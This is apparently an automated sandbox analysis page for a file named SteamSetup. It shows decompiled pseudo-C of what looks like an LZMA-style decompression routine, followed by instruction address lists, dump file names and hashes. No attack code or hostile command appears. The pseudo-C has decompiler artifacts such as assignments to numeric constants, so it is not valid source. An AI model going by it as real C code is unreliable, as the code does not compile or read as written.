											__eflags = __ebx - 0x100;
											if(__ebx >= 0x100) {
												L55:
												__al =  *(__ebp - 0x44);
												 *(__ebp - 0x5c) =  *(__ebp - 0x44);
												goto L56;
											}
											L61:
											__eax =  *(__ebp - 0x58);
											__edx = __ebx + __ebx;
											__ecx =  *(__ebp - 0x10);
											__esi = __edx + __eax;
											__ecx =  *(__ebp - 0x10) >> 0xb;
											__ax =  *__esi;
											 *(__ebp - 0x54) = __esi;
											__edi = __ax & 0x0000ffff;
											__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
											__eflags =  *(__ebp - 0xc) - __ecx;
											if( *(__ebp - 0xc) >= __ecx) {
												 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
												 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
												__cx = __ax;
												_t217 = __edx + 1; // 0x1
												__ebx = _t217;
												__cx = __ax >> 5;
												__eflags = __eax;
												 *__esi = __ax;
											} else {
												 *(__ebp - 0x10) = __ecx;
												0x800 = 0x800 - __edi;
												0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
												__ebx = __ebx + __ebx;
												 *__esi = __cx;
											}
											__eflags =  *(__ebp - 0x10) - 0x1000000;
											 *(__ebp - 0x44) = __ebx;
											if( *(__ebp - 0x10) >= 0x1000000) {
												goto L60;
											} else {
												goto L58;
											}
										case 0x10:
											L110:
											__eflags =  *(__ebp - 0x6c);
											if( *(__ebp - 0x6c) == 0) {
												 *(__ebp - 0x88) = 0x10;
												goto L170;
											}
											__ecx =  *(__ebp - 0x70);
											__eax =  *(__ebp - 0xc);
											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											_t366 = __ebp - 0x70;
											 *_t366 =  *(__ebp - 0x70) + 1;
											__eflags =  *_t366;
											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											goto L112;
										case 0x11:
											L69:
											__esi =  *(__ebp - 0x58);
											 *(__ebp - 0x84) = 0x12;
											L132:
											 *(_t612 - 0x54) = _t605;
											goto L133;
										case 0x12:
											goto L0;
										case 0x13:
											__eflags =  *(__ebp - 0x40);
											if( *(__ebp - 0x40) != 0) {
												_t469 = __ebp - 0x58;
												 *_t469 =  *(__ebp - 0x58) + 0x204;
												__eflags =  *_t469;
												 *(__ebp - 0x30) = 0x10;
												 *(__ebp - 0x40) = 8;
												goto L144;
											}
											__eax =  *(__ebp - 0x4c);
											__ecx =  *(__ebp - 0x58);
											__eax =  *(__ebp - 0x4c) << 4;
											 *(__ebp - 0x30) = 8;
											__eax =  *(__ebp - 0x58) + ( *(__ebp - 0x4c) << 4) + 0x104;
											goto L130;
										case 0x14:
											 *(__ebp - 0x30) =  *(__ebp - 0x30) + __ebx;
											__eax =  *(__ebp - 0x80);
											L140:
											 *(_t612 - 0x88) = _t533;
											goto L1;
										case 0x15:
											__eax = 0;
											__eflags =  *(__ebp - 0x38) - 7;
											0 | __eflags >= 0x00000000 = (__eflags >= 0) - 1;
											__al = __al & 0x000000fd;
											__eax = (__eflags >= 0) - 1 + 0xb;
											 *(__ebp - 0x38) = (__eflags >= 0) - 1 + 0xb;
											goto L121;
										case 0x16:
											__eax =  *(__ebp - 0x30);
											__eflags = __eax - 4;
											if(__eax >= 4) {
												_push(3);
												_pop(__eax);
											}
											__ecx =  *(__ebp - 4);
											 *(__ebp - 0x40) = 6;
											__eax = __eax << 7;
											 *(__ebp - 0x7c) = 0x19;
											 *(__ebp - 0x58) = __eax;
											goto L145;
										case 0x17:
											goto L145;
										case 0x18:
											L146:
											__eflags =  *(__ebp - 0x6c);
											if( *(__ebp - 0x6c) == 0) {
												 *(__ebp - 0x88) = 0x18;
												goto L170;
											}
											__ecx =  *(__ebp - 0x70);
											__eax =  *(__ebp - 0xc);
											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											_t484 = __ebp - 0x70;
											 *_t484 =  *(__ebp - 0x70) + 1;
											__eflags =  *_t484;
											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											L148:
											_t487 = __ebp - 0x48;
											 *_t487 =  *(__ebp - 0x48) - 1;
											__eflags =  *_t487;
											goto L149;
										case 0x19:
											__eflags = __ebx - 4;
											if(__ebx < 4) {
												 *(__ebp - 0x2c) = __ebx;
												L120:
												_t394 = __ebp - 0x2c;
												 *_t394 =  *(__ebp - 0x2c) + 1;
												__eflags =  *_t394;
												L121:
												__eax =  *(__ebp - 0x2c);
												__eflags = __eax;
												if(__eax == 0) {
													 *(__ebp - 0x30) =  *(__ebp - 0x30) | 0xffffffff;
													goto L170;
												}
												__eflags = __eax -  *(__ebp - 0x60);
												if(__eax >  *(__ebp - 0x60)) {
													goto L171;
												}
												 *(__ebp - 0x30) =  *(__ebp - 0x30) + 2;
												__eax =  *(__ebp - 0x30);
												_t401 = __ebp - 0x60;
												 *_t401 =  *(__ebp - 0x60) +  *(__ebp - 0x30);
												__eflags =  *_t401;
												goto L124;
											}
											__ecx = __ebx;
											__eax = __ebx;
											__ecx = __ebx >> 1;
											__eax = __ebx & 0x00000001;
											__ecx = (__ebx >> 1) - 1;
											__al = __al | 0x00000002;
											__eax = (__ebx & 0x00000001) << __cl;
											__eflags = __ebx - 0xe;
											 *(__ebp - 0x2c) = __eax;
											if(__ebx >= 0xe) {
												__ebx = 0;
												 *(__ebp - 0x48) = __ecx;
												L103:
												__eflags =  *(__ebp - 0x48);
												if( *(__ebp - 0x48) <= 0) {
													__eax = __eax + __ebx;
													 *(__ebp - 0x40) = 4;
													 *(__ebp - 0x2c) = __eax;
													__eax =  *(__ebp - 4);
													__eax =  *(__ebp - 4) + 0x644;
													__eflags = __eax;
													L109:
													__ebx = 0;
													 *(__ebp - 0x58) = __eax;
													 *(__ebp - 0x50) = 1;
													 *(__ebp - 0x44) = 0;
													 *(__ebp - 0x48) = 0;
													L113:
													__eax =  *(__ebp - 0x40);
													__eflags =  *(__ebp - 0x48) -  *(__ebp - 0x40);
													if( *(__ebp - 0x48) >=  *(__ebp - 0x40)) {
														_t392 = __ebp - 0x2c;
														 *_t392 =  *(__ebp - 0x2c) + __ebx;
														__eflags =  *_t392;
														goto L120;
													}
													__eax =  *(__ebp - 0x50);
													 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
													__edi =  *(__ebp - 0x50) +  *(__ebp - 0x50);
													__eax =  *(__ebp - 0x58);
													__esi = __edi + __eax;
													 *(__ebp - 0x54) = __esi;
													__ax =  *__esi;
													__ecx = __ax & 0x0000ffff;
													__edx = ( *(__ebp - 0x10) >> 0xb) * __ecx;
													__eflags =  *(__ebp - 0xc) - __edx;
													if( *(__ebp - 0xc) >= __edx) {
														__ecx = 0;
														 *(__ebp - 0x10) =  *(__ebp - 0x10) - __edx;
														__ecx = 1;
														 *(__ebp - 0xc) =  *(__ebp - 0xc) - __edx;
														__ebx = 1;
														__ecx =  *(__ebp - 0x48);
														__ebx = 1 << __cl;
														__ecx = 1 << __cl;
														__ebx =  *(__ebp - 0x44);
														__ebx =  *(__ebp - 0x44) | __ecx;
														__cx = __ax;
														__cx = __ax >> 5;
														__eax = __eax - __ecx;
														__edi = __edi + 1;
														__eflags = __edi;
														 *(__ebp - 0x44) = __ebx;
														 *__esi = __ax;
														 *(__ebp - 0x50) = __edi;
													} else {
														 *(__ebp - 0x10) = __edx;
														0x800 = 0x800 - __ecx;
														0x800 - __ecx >> 5 = (0x800 - __ecx >> 5) + __eax;
														 *(__ebp - 0x50) =  *(__ebp - 0x50) << 1;
														 *__esi = __dx;
													}
													__eflags =  *(__ebp - 0x10) - 0x1000000;
													if( *(__ebp - 0x10) >= 0x1000000) {
														L112:
														_t369 = __ebp - 0x48;
														 *_t369 =  *(__ebp - 0x48) + 1;
														__eflags =  *_t369;
														goto L113;
													} else {
														goto L110;
													}
												}
												__ecx =  *(__ebp - 0xc);
												__ebx = __ebx + __ebx;
												 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 1;
												__eflags =  *(__ebp - 0xc) -  *(__ebp - 0x10);
												 *(__ebp - 0x44) = __ebx;
												if( *(__ebp - 0xc) >=  *(__ebp - 0x10)) {
													__ecx =  *(__ebp - 0x10);
													 *(__ebp - 0xc) =  *(__ebp - 0xc) -  *(__ebp - 0x10);
													__ebx = __ebx | 0x00000001;
													__eflags = __ebx;
													 *(__ebp - 0x44) = __ebx;
												}
												__eflags =  *(__ebp - 0x10) - 0x1000000;
												if( *(__ebp - 0x10) >= 0x1000000) {
													L102:
													_t339 = __ebp - 0x48;
													 *_t339 =  *(__ebp - 0x48) - 1;
													__eflags =  *_t339;
													goto L103;
												} else {
													goto L100;
												}
											}
											__edx =  *(__ebp - 4);
											__eax = __eax - __ebx;
											 *(__ebp - 0x40) = __ecx;
											__eax =  *(__ebp - 4) + 0x55e + __eax * 2;
											goto L109;
										case 0x1a:
											L56:
											__eflags =  *(__ebp - 0x64);
											if( *(__ebp - 0x64) == 0) {
												 *(__ebp - 0x88) = 0x1a;
												goto L170;
											}
											__ecx =  *(__ebp - 0x68);
											__al =  *(__ebp - 0x5c);
											__edx =  *(__ebp - 8);
											 *(__ebp - 0x60) =  *(__ebp - 0x60) + 1;
											 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
											 *(__ebp - 0x64) =  *(__ebp - 0x64) - 1;
											 *( *(__ebp - 0x68)) = __al;
											__ecx =  *(__ebp - 0x14);
											 *(__ecx +  *(__ebp - 8)) = __al;
											__eax = __ecx + 1;
											__edx = 0;
											_t192 = __eax %  *(__ebp - 0x74);
											__eax = __eax /  *(__ebp - 0x74);
											__edx = _t192;
											goto L80;
										case 0x1b:
											L76:
											__eflags =  *(__ebp - 0x64);
											if( *(__ebp - 0x64) == 0) {
												 *(__ebp - 0x88) = 0x1b;
												goto L170;
											}
											__eax =  *(__ebp - 0x14);
											__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
											__eflags = __eax -  *(__ebp - 0x74);
											if(__eax >=  *(__ebp - 0x74)) {
												__eax = __eax +  *(__ebp - 0x74);
												__eflags = __eax;
											}
											__edx =  *(__ebp - 8);
											__cl =  *(__eax + __edx);
											__eax =  *(__ebp - 0x14);
											 *(__ebp - 0x5c) = __cl;
											 *(__eax + __edx) = __cl;
											__eax = __eax + 1;
											__edx = 0;
											_t275 = __eax %  *(__ebp - 0x74);
											__eax = __eax /  *(__ebp - 0x74);
											__edx = _t275;
											__eax =  *(__ebp - 0x68);
											 *(__ebp - 0x60) =  *(__ebp - 0x60) + 1;
											 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
											_t284 = __ebp - 0x64;
											 *_t284 =  *(__ebp - 0x64) - 1;
											__eflags =  *_t284;
											 *( *(__ebp - 0x68)) = __cl;
											L80:
											 *(__ebp - 0x14) = __edx;
											goto L81;
										case 0x1c:
											while(1) {
												L124:
												__eflags =  *(__ebp - 0x64);
												if( *(__ebp - 0x64) == 0) {
													break;
												}
												__eax =  *(__ebp - 0x14);
												__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
												__eflags = __eax -  *(__ebp - 0x74);
												if(__eax >=  *(__ebp - 0x74)) {
													__eax = __eax +  *(__ebp - 0x74);
													__eflags = __eax;
												}
												__edx =  *(__ebp - 8);
												__cl =  *(__eax + __edx);
												__eax =  *(__ebp - 0x14);
												 *(__ebp - 0x5c) = __cl;
												 *(__eax + __edx) = __cl;
												__eax = __eax + 1;
												__edx = 0;
												_t415 = __eax %  *(__ebp - 0x74);
												__eax = __eax /  *(__ebp - 0x74);
												__edx = _t415;
												__eax =  *(__ebp - 0x68);
												 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
												 *(__ebp - 0x64) =  *(__ebp - 0x64) - 1;
												 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
												__eflags =  *(__ebp - 0x30);
												 *( *(__ebp - 0x68)) = __cl;
												 *(__ebp - 0x14) = _t415;
												if( *(__ebp - 0x30) > 0) {
													continue;
												} else {
													L81:
													 *(__ebp - 0x88) = 2;
													goto L1;
												}
											}
											 *(__ebp - 0x88) = 0x1c;
											L170:
											_push(0x22);
											_pop(_t567);
											memcpy( *(_t612 - 0x90), _t612 - 0x88, _t567 << 2);
											_t535 = 0;
											L172:
											return _t535;
									}
								}
								L171:
								_t535 = _t534 | 0xffffffff;
								goto L172;
							}
						}
						__eax =  *(__ebp - 0x50);
						 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
						__edx =  *(__ebp - 0x50) +  *(__ebp - 0x50);
						__eax =  *(__ebp - 0x58);
						__esi = __edx + __eax;
						 *(__ebp - 0x54) = __esi;
						__ax =  *__esi;
						__edi = __ax & 0x0000ffff;
						__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
						if( *(__ebp - 0xc) >= __ecx) {
							 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
							 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
							__cx = __ax;
							__cx = __ax >> 5;
							__eax = __eax - __ecx;
							__edx = __edx + 1;
							 *__esi = __ax;
							 *(__ebp - 0x50) = __edx;
						} else {
							 *(__ebp - 0x10) = __ecx;
							0x800 = 0x800 - __edi;
							0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
							 *(__ebp - 0x50) =  *(__ebp - 0x50) << 1;
							 *__esi = __cx;
						}
						if( *(__ebp - 0x10) >= 0x1000000) {
							goto L148;
						} else {
							goto L146;
						}
					}
					goto L1;
				}
			}

0x00000000
0x00406e7c
0x00406e7c
0x00406e80
0x00406ea5
0x00406eaf
0x00000000
0x00406e82
0x00406e82
0x00406e85
0x00406e89
0x00406e8c
0x00406e8f
0x00406e93
0x00406e93
0x00406e96
0x00406f70
0x00406f70
0x00406f77
0x00406f77
0x00406f7a
0x00406f81
0x00406fae
0x00406fb2
0x00407012
0x00407015
0x0040701a
0x0040701b
0x0040701d
0x0040701f
0x00407022
0x00406f2e
0x00406f2e
0x00406f2e
0x004066ca
0x004066ca
0x004066ca
0x004066d3
0x00000000
0x00000000
0x004066d9
0x00000000
0x004066e4
0x00000000
0x00000000
0x004066ed
0x004066f0
0x004066f3
0x004066f7
0x00000000
0x00000000
0x004066fd
0x00406700
0x00406702
0x00406703
0x00406706
0x00406708
0x00406709
0x0040670b
0x0040670e
0x00406713
0x00406718
0x00406721
0x00406734
0x00406737
0x00406743
0x0040676b
0x0040676d
0x0040677b
0x0040677b
0x0040677f
0x00000000
0x00000000
0x00000000
0x00000000
0x0040676f
0x0040676f
0x00406772
0x00406773
0x00406773
0x00000000
0x0040676f
0x00406749
0x0040674e
0x0040674e
0x00406757
0x0040675f
0x00406762
0x00000000
0x00406768
0x00406768
0x00000000
0x00406768
0x00000000
0x00406785
0x00406785
0x00406789
0x00407035
0x00000000
0x00407035
0x00406792
0x004067a2
0x004067a5
0x004067a8
0x004067a8
0x004067a8
0x004067ab
0x004067af
0x00000000
0x00000000
0x004067b1
0x004067b7
0x004067e1
0x004067e7
0x004067ee
0x00000000
0x004067ee
0x004067bd
0x004067c0
0x004067c5
0x004067c5
0x004067d0
0x004067d8
0x004067db
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00406820
0x00406826
0x00406829
0x00406836
0x0040683e
0x00000000
0x00000000
0x004067f5
0x004067f5
0x004067f9
0x00407044
0x00000000
0x00407044
0x00406805
0x00406810
0x00406810
0x00406810
0x00406813
0x00406816
0x00406819
0x0040681e
0x00000000
0x00000000
0x00000000
0x00000000
0x00406eb5
0x00406eb5
0x00406ebb
0x00406ec1
0x00406ec7
0x00406ee1
0x00406ee4
0x00406eea
0x00406ef5
0x00406ef5
0x00406ef7
0x00406ec9
0x00406ec9
0x00406ed8
0x00406edc
0x00406edc
0x00406f01
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00406f03
0x00406f07
0x004070b6
0x00000000
0x004070b6
0x00406f13
0x00406f1a
0x00406f22
0x00406f25
0x00406f28
0x00406f28
0x00000000
0x00000000
0x00406846
0x00406848
0x0040684b
0x004068bc
0x004068bf
0x004068c2
0x004068c9
0x004068d3
0x00000000
0x004068d3
0x0040684d
0x00406851
0x00406854
0x00406856
0x00406859
0x0040685c
0x0040685e
0x00406861
0x00406863
0x00406868
0x0040686b
0x0040686e
0x00406872
0x00406879
0x0040687c
0x00406883
0x00406887
0x0040688f
0x0040688f
0x0040688f
0x00406889
0x00406889
0x00406889
0x0040687e
0x0040687e
0x0040687e
0x00406893
0x00406896
0x004068b4
0x004068b6
0x00000000
0x00406898
0x00406898
0x0040689b
0x0040689e
0x004068a1
0x004068a3
0x004068a3
0x004068a3
0x004068a6
0x004068a9
0x004068ab
0x004068ac
0x004068af
0x00000000
0x004068af
0x00000000
0x00406ae5
0x00406ae9
0x00406b07
0x00406b0a
0x00406b11
0x00406b14
0x00406b17
0x00406b1a
0x00406b1d
0x00406b20
0x00406b22
0x00406b29
0x00406b2a
0x00406b2c
0x00406b2f
0x00406b32
0x00406b35
0x00406b35
0x00406b3a
0x00000000
0x00406b3a
0x00406aeb
0x00406aee
0x00406af1
0x00406afb
0x00000000
0x00000000
0x00406b4f
0x00406b53
0x00406b76
0x00406b79
0x00406b7c
0x00406b86
0x00406b55
0x00406b55
0x00406b58
0x00406b5b
0x00406b5e
0x00406b6b
0x00406b6e
0x00406b6e
0x00000000
0x00000000
0x00406b92
0x00406b96
0x00000000
0x00000000
0x00406b9c
0x00406ba0
0x00000000
0x00000000
0x00406ba6
0x00406ba8
0x00406bac
0x00406bac
0x00406baf
0x00406bb3
0x00000000
0x00000000
0x00406c03
0x00406c07
0x00406c0e
0x00406c11
0x00406c14
0x00406c1e
0x00000000
0x00406c1e
0x00406c09
0x00000000
0x00000000
0x00406c2a
0x00406c2e
0x00406c35
0x00406c38
0x00406c3b
0x00406c30
0x00406c30
0x00406c30
0x00406c3e
0x00406c41
0x00406c44
0x00406c44
0x00406c47
0x00406c4a
0x00406c4d
0x00406c4d
0x00406c50
0x00406c57
0x00406c5c
0x00000000
0x00000000
0x00406cea
0x00406cea
0x00406cee
0x0040708c
0x00000000
0x0040708c
0x00406cf4
0x00406cf7
0x00406cfa
0x00406cfe
0x00406d01
0x00406d07
0x00406d09
0x00406d09
0x00406d09
0x00406d0c
0x00406d0f
0x00000000
0x00000000
0x004068df
0x004068df
0x004068e3
0x00407050
0x00000000
0x00407050
0x004068e9
0x004068ec
0x004068ef
0x004068f3
0x004068f6
0x004068fc
0x004068fe
0x004068fe
0x004068fe
0x00406901
0x00406904
0x00406904
0x00406907
0x0040690a
0x00000000
0x00000000
0x00406910
0x00406916
0x00000000
0x00000000
0x0040691c
0x0040691c
0x00406920
0x00406923
0x00406926
0x00406929
0x0040692c
0x0040692d
0x00406930
0x00406932
0x00406938
0x0040693b
0x0040693e
0x00406941
0x00406944
0x00406947
0x0040694a
0x00406966
0x00406969
0x0040696c
0x0040696f
0x00406976
0x0040697a
0x0040697c
0x00406980
0x0040694c
0x0040694c
0x00406950
0x00406958
0x0040695d
0x0040695f
0x00406961
0x00406961
0x00406983
0x0040698a
0x0040698d
0x00000000
0x00406993
0x00000000
0x00406993
0x00000000
0x00406998
0x00406998
0x0040699c
0x0040705c
0x00000000
0x0040705c
0x004069a2
0x004069a5
0x004069a8
0x004069ac
0x004069af
0x004069b5
0x004069b7
0x004069b7
0x004069b7
0x004069ba
0x004069bd
0x004069bd
0x004069bd
0x004069c3
0x00000000
0x00000000
0x004069c5
0x004069c8
0x004069cb
0x004069ce
0x004069d1
0x004069d4
0x004069d7
0x004069da
0x004069dd
0x004069e0
0x004069e3
0x004069fb
0x004069fe
0x00406a01
0x00406a04
0x00406a04
0x00406a07
0x00406a0b
0x00406a0d
0x004069e5
0x004069e5
0x004069ed
0x004069f2
0x004069f4
0x004069f6
0x004069f6
0x00406a10
0x00406a17
0x00406a1a
0x00000000
0x00406a1c
0x00000000
0x00406a1c
0x00406a1a
0x00406a21
0x00406a21
0x00406a21
0x00406a21
0x00000000
0x00000000
0x00406a5c
0x00406a5c
0x00406a60
0x00407068
0x00000000
0x00407068
0x00406a66
0x00406a69
0x00406a6c
0x00406a70
0x00406a73
0x00406a79
0x00406a7b
0x00406a7b
0x00406a7b
0x00406a7e
0x00406a81
0x00406a81
0x00406a87
0x00406a25
0x00406a25
0x00406a28
0x00000000
0x00406a28
0x00406a89
0x00406a89
0x00406a8c
0x00406a8f
0x00406a92
0x00406a95
0x00406a98
0x00406a9b
0x00406a9e
0x00406aa1
0x00406aa4
0x00406aa7
0x00406abf
0x00406ac2
0x00406ac5
0x00406ac8
0x00406ac8
0x00406acb
0x00406acf
0x00406ad1
0x00406aa9
0x00406aa9
0x00406ab1
0x00406ab6
0x00406ab8
0x00406aba
0x00406aba
0x00406ad4
0x00406adb
0x00406ade
0x00000000
0x00406ae0
0x00000000
0x00406ae0
0x00000000
0x00406d6d
0x00406d6d
0x00406d71
0x00407098
0x00000000
0x00407098
0x00406d77
0x00406d7a
0x00406d7d
0x00406d81
0x00406d84
0x00406d8a
0x00406d8c
0x00406d8c
0x00406d8c
0x00406d8f
0x00000000
0x00000000
0x00406b3d
0x00406b3d
0x00406b40
0x00406eb2
0x00406eb2
0x00000000
0x00000000
0x00000000
0x00000000
0x00406f39
0x00406f3d
0x00406f5b
0x00406f5b
0x00406f5b
0x00406f62
0x00406f69
0x00000000
0x00406f69
0x00406f3f
0x00406f42
0x00406f45
0x00406f48
0x00406f4f
0x00000000
0x00000000
0x0040702a
0x0040702d
0x00406f2e
0x00406f2e
0x00000000
0x00000000
0x00406c64
0x00406c66
0x00406c6d
0x00406c6e
0x00406c70
0x00406c73
0x00000000
0x00000000
0x00406c7b
0x00406c7e
0x00406c81
0x00406c83
0x00406c85
0x00406c85
0x00406c86
0x00406c89
0x00406c90
0x00406c93
0x00406ca1
0x00000000
0x00000000
0x00000000
0x00000000
0x00406f86
0x00406f86
0x00406f8a
0x004070c2
0x00000000
0x004070c2
0x00406f90
0x00406f93
0x00406f96
0x00406f9a
0x00406f9d
0x00406fa3
0x00406fa5
0x00406fa5
0x00406fa5
0x00406fa8
0x00406fab
0x00406fab
0x00406fab
0x00406fab
0x00000000
0x00000000
0x00406ca9
0x00406cac
0x00406ce2
0x00406e12
0x00406e12
0x00406e12
0x00406e12
0x00406e15
0x00406e15
0x00406e18
0x00406e1a
0x004070a4
0x00000000
0x004070a4
0x00406e20
0x00406e23
0x00000000
0x00000000
0x00406e29
0x00406e2d
0x00406e30
0x00406e30
0x00406e30
0x00000000
0x00406e30
0x00406cae
0x00406cb0
0x00406cb2
0x00406cb4
0x00406cb7
0x00406cb8
0x00406cba
0x00406cbc
0x00406cbf
0x00406cc2
0x00406cd8
0x00406cdd
0x00406d15
0x00406d15
0x00406d19
0x00406d45
0x00406d47
0x00406d4e
0x00406d51
0x00406d54
0x00406d54
0x00406d59
0x00406d59
0x00406d5b
0x00406d5e
0x00406d65
0x00406d68
0x00406d95
0x00406d95
0x00406d98
0x00406d9b
0x00406e0f
0x00406e0f
0x00406e0f
0x00000000
0x00406e0f
0x00406d9d
0x00406da3
0x00406da6
0x00406da9
0x00406dac
0x00406daf
0x00406db2
0x00406db5
0x00406db8
0x00406dbb
0x00406dbe
0x00406dd7
0x00406dd9
0x00406ddc
0x00406ddd
0x00406de0
0x00406de2
0x00406de5
0x00406de7
0x00406de9
0x00406dec
0x00406dee
0x00406df1
0x00406df5
0x00406df7
0x00406df7
0x00406df8
0x00406dfb
0x00406dfe
0x00406dc0
0x00406dc0
0x00406dc8
0x00406dcd
0x00406dcf
0x00406dd2
0x00406dd2
0x00406e01
0x00406e08
0x00406d92
0x00406d92
0x00406d92
0x00406d92
0x00000000
0x00406e0a
0x00000000
0x00406e0a
0x00406e08
0x00406d1b
0x00406d1e
0x00406d20
0x00406d23
0x00406d26
0x00406d29
0x00406d2b
0x00406d2e
0x00406d31
0x00406d31
0x00406d34
0x00406d34
0x00406d37
0x00406d3e
0x00406d12
0x00406d12
0x00406d12
0x00406d12
0x00000000
0x00406d40
0x00000000
0x00406d40
0x00406d3e
0x00406cc4
0x00406cc7
0x00406cc9
0x00406ccc
0x00000000
0x00000000
0x00406a2b
0x00406a2b
0x00406a2f
0x00407074
0x00000000
0x00407074
0x00406a35
0x00406a38
0x00406a3b
0x00406a3e
0x00406a41
0x00406a44
0x00406a47
0x00406a49
0x00406a4c
0x00406a4f
0x00406a52
0x00406a54
0x00406a54
0x00406a54
0x00000000
0x00000000
0x00406bb6
0x00406bb6
0x00406bba
0x00407080
0x00000000
0x00407080
0x00406bc0
0x00406bc3
0x00406bc6
0x00406bc9
0x00406bcb
0x00406bcb
0x00406bcb
0x00406bce
0x00406bd1
0x00406bd4
0x00406bd7
0x00406bda
0x00406bdd
0x00406bde
0x00406be0
0x00406be0
0x00406be0
0x00406be3
0x00406be6
0x00406be9
0x00406bec
0x00406bec
0x00406bec
0x00406bef
0x00406bf1
0x00406bf1
0x00000000
0x00000000
0x00406e33
0x00406e33
0x00406e33
0x00406e37
0x00000000
0x00000000
0x00406e3d
0x00406e40
0x00406e43
0x00406e46
0x00406e48
0x00406e48
0x00406e48
0x00406e4b
0x00406e4e
0x00406e51
0x00406e54
0x00406e57
0x00406e5a
0x00406e5b
0x00406e5d
0x00406e5d
0x00406e5d
0x00406e60
0x00406e63
0x00406e66
0x00406e69
0x00406e6c
0x00406e70
0x00406e72
0x00406e75
0x00000000
0x00406e77
0x00406bf4
0x00406bf4
0x00000000
0x00406bf4
0x00406e75
0x004070aa
0x004070cc
0x004070d2
0x004070d4
0x004070db
0x004070dd
0x004070e4
0x004070e8
0x00000000
0x004066d9
0x004070e1
0x004070e1
0x00000000
0x004070e1
0x00406f2e
0x00406fb4
0x00406fba
0x00406fbd
0x00406fc0
0x00406fc3
0x00406fc6
0x00406fc9
0x00406fcc
0x00406fcf
0x00406fd5
0x00406fee
0x00406ff1
0x00406ff4
0x00406ff7
0x00406ffb
0x00406ffd
0x00406ffe
0x00407001
0x00406fd7
0x00406fd7
0x00406fdf
0x00406fe4
0x00406fe6
0x00406fe9
0x00406fe9
0x0040700b
0x00000000
0x0040700d
0x00000000
0x0040700d
0x0040700b
0x00000000
0x00406e80

Memory Dump Source

Source File: 00000005.00000002.442043685.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.442032448.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442080128.0000000000408000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.000000000040A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.0000000000422000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.0000000000425000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.0000000000427000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442094308.0000000000435000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.442271742.0000000000461000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_SteamSetup.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e6b96a49f958b7a8d2aa4cc917083ea926a28b83a61870a924df7985f049b653
Instruction ID: dd225a6952a4a1885b566de7f95e3528e0c965b1b64db9b9769652e5c735704b
Opcode Fuzzy Hash: e6b96a49f958b7a8d2aa4cc917083ea926a28b83a61870a924df7985f049b653
Instruction Fuzzy Hash: 3D913370D04229CBDF28CFA8C844BADBBB1FF44305F15816AD856BB291C7789A86DF45

Uniqueness

Uniqueness Score: -1.00%

Function 00406B92 Relevance: 5.2, APIs: 4, Instructions: 205
COMMON

Download Yara Rule

C-Code - Quality: 98%

			E00406B92() {
				unsigned short _t532;
				signed int _t533;
				void _t534;
				void* _t535;
				signed int _t536;
				signed int _t565;
				signed int _t568;
				signed int _t589;
				signed int* _t606;
				void* _t613;

				L0:
				while(1) {
					L0:
					if( *(_t613 - 0x40) != 0) {
						L89:
						 *((intOrPtr*)(_t613 - 0x80)) = 0x15;
						 *(_t613 - 0x58) =  *(_t613 - 4) + 0xa68;
						L69:
						_t606 =  *(_t613 - 0x58);
						 *(_t613 - 0x84) = 0x12;
						L132:
						 *(_t613 - 0x54) = _t606;
						L133:
						_t532 =  *_t606;
						_t589 = _t532 & 0x0000ffff;
						_t565 = ( *(_t613 - 0x10) >> 0xb) * _t589;
						if( *(_t613 - 0xc) >= _t565) {
							 *(_t613 - 0x10) =  *(_t613 - 0x10) - _t565;
							 *(_t613 - 0xc) =  *(_t613 - 0xc) - _t565;
							 *(_t613 - 0x40) = 1;
							_t533 = _t532 - (_t532 >> 5);
							 *_t606 = _t533;
						} else {
							 *(_t613 - 0x10) = _t565;
							 *(_t613 - 0x40) =  *(_t613 - 0x40) & 0x00000000;
							 *_t606 = (0x800 - _t589 >> 5) + _t532;
						}
						if( *(_t613 - 0x10) >= 0x1000000) {
							L139:
							_t534 =  *(_t613 - 0x84);
							L140:
